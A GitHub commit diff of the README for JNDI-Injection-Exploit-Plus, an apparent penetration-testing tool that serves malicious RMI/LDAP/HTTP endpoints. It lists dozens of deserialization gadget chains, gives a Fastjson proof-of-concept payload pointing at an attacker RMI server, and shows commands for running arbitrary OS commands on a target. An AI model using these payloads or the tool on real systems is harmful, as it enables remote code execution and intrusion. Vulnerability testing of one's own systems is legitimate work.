Skip to content

Commit 117d2db

Browse files
committed
plus 1.0
1 parent 42536a5 commit 117d2db

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

64 files changed

+4447
-205
lines changed

LICENSE

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
MIT License
22

3-
Copyright (c) 2019 welk1n
3+
Copyright (c) 2022 cckuailong
44

55
Permission is hereby granted, free of charge, to any person obtaining a copy
66
of this software and associated documentation files (the "Software"), to deal

README-CN.md

Lines changed: 0 additions & 95 deletions
This file was deleted.

README.md

Lines changed: 74 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,8 @@
1-
# JNDI-Injection-Exploit
2-
3-
[Materials about JNDI Injection](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
4-
5-
[中文文档](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md)
6-
7-
[相关文章](https://www.cnblogs.com/Welk1n/p/11066397.html)
1+
# JNDI-Injection-Exploit-Plus
82

93
## Description
104

11-
JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on [marshals](https://github.com/mbechler/marshalsec) and modified further to link with HTTP server.
5+
JNDI-Injection-Exploit-Plus is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server.
126

137
Using this tool allows you get JNDI links, you can insert these links into your **POC** to test vulnerability.
148

@@ -18,18 +12,72 @@ For example, this is a Fastjson vul-poc:
1812
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
1913
```
2014

21-
We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability.
22-
23-
## Disclaimer
24-
25-
All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.
15+
We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit-Plus to test vulnerability.
16+
17+
## More than [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)
18+
19+
[JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit) is a great tool, this is the plus version of it.
20+
21+
### What's more
22+
23+
#### 1. More JNDI Remote Reference Gadget: (total: 3)
24+
- Support JDK 6/7/8
25+
#### 2. More JNDI Local Reference Gadget: (total: 4)
26+
27+
Payload | author | dependencies
28+
--- | --- | ---
29+
Tomcat 8+ or SpringBoot | @welk1n | trustURLCodebase is false but have Tomcat 8+ or SpringBoot 1.2.x+ in classpath
30+
Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
31+
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
32+
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
33+
34+
#### 3. Deserailization Gadget (total: 33)
35+
36+
P.S. More Gadgets than ysoserial, welcome to PR more! ^_^
37+
38+
payload | author | dependencies
39+
------ | -------- | ------
40+
AspectJWeaver |@Jang |aspectjweaver:1.9.2, commons-collections:3.2.2
41+
BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
42+
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
43+
Click1 |@artsploit |click-nodeps:2.3.0, javax.servlet-api:3.1.0
44+
Clojure |@JackOfMostTrades |clojure:1.8.0
45+
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
46+
CommonsBeanutils2 |@cckuailong |commons-beanutils:1.9.2
47+
CommonsCollections1 |@frohoff |commons-collections:3.1
48+
CommonsCollections2 |@frohoff |commons-collections4:4.0
49+
CommonsCollections3 |@frohoff |commons-collections:3.1
50+
CommonsCollections4 |@frohoff |commons-collections4:4.0
51+
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
52+
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
53+
CommonsCollections7 |@scristalli, @hanyrax, @EdoardoVignati |commons-collections:3.1
54+
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
55+
Groovy1 |@frohoff |groovy:2.3.9
56+
Hibernate1 |@mbechler|
57+
Hibernate2 |@mbechler|
58+
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
59+
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
60+
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
61+
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
62+
MozillaRhino1 |@matthias_kaiser |js:1.7R2
63+
MozillaRhino2 |@_tint0 |js:1.7R2
64+
Myfaces1 |@mbechler|
65+
Myfaces2 |@mbechler|
66+
ROME1 |@mbechler |rome:1.0
67+
ROME2 |@firebasky |rome:1.0
68+
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
69+
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
70+
URLDNS |@gebl| |jre only vuln detect
71+
Vaadin1 |@kai_ullrich |vaadin-server:7.7.14, vaadin-shared:7.7.14
72+
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
73+
WildFly1 |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
2674

2775
## Usage
2876

2977
Run as
3078

3179
```shell
32-
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
80+
$ java -jar JNDI-Injection-Exploit-Plus-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
3381
```
3482

3583
where:
@@ -46,7 +94,7 @@ Points for attention:
4694

4795
- make sure your server's ports (**1099**, **1389**, **8180**) are available .
4896

49-
or you can change the default port in the run.ServerStart class line 26~28.
97+
or you can change the default port in the run.ServerStart class.
5098

5199
- your command is passed to **Runtime.getRuntime().exec()** as parameters,
52100

@@ -61,53 +109,52 @@ Points for attention:
61109
1. Start the tool like this:
62110

63111
```shell
64-
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
112+
$ java -jar JNDI-Injection-Exploit-Plus-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
65113
```
66114

67115
Screenshot:
68116

69-
![image-20191018154346759](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/screenshots/1.png)
117+
![](./img/1.png)
70118

71-
2. Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.
119+
2. Assume that we inject the JNDI links like rmi://ADDRESS/remoteExploit8 generated in step 1 to a vulnerable application which can be attacked by JNDI injection.
72120

73121
In this example, it looks like this:
74122

75123
```java
76124
public static void main(String[] args) throws Exception{
77125
InitialContext ctx = new InitialContext();
78-
ctx.lookup("rmi://127.0.0.1/fgf4fp");
126+
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
79127
}
80128
```
81129

82130
then when we run this code, the command will be executed ,
83131

84132
and the log will be printed in shell:
85133

86-
![image-20191018154515787](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/screenshots/2.png)
87-
134+
![](./img/2.png)
88135

136+
For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/Test-JNDI-Injection-Exploit-Plus)
89137

90138
## Installation
91139

92140
We can select one of the two methods to get the jar.
93141

94-
1. Download the latest jar from [Realease](https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar).
142+
1. Download the latest jar from [Realease](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases).
95143

96144
2. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).
97145

98146
```shell
99-
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
147+
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
100148
```
101149

102150
```shell
103-
$ cd JNDI-Injection-Exploit
151+
$ cd JNDI-Injection-Exploit-Plus
104152
```
105153

106154
```shell
107155
$ mvn clean package -DskipTests
108156
```
109157

110-
## To do
158+
## Disclaimer
111159

112-
- (**Done**)Combine this project and [JNDI-Injection-Bypass](https://github.com/welk1n/JNDI-Injection-Bypass) to generate workable links when **trustURLCodebase is false** in higher versions of JDK by default.
113-
- … ...
160+
All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.

img/1.png

575 KB
Loading

img/2.png

878 KB
Loading

0 commit comments

Comments
 (0)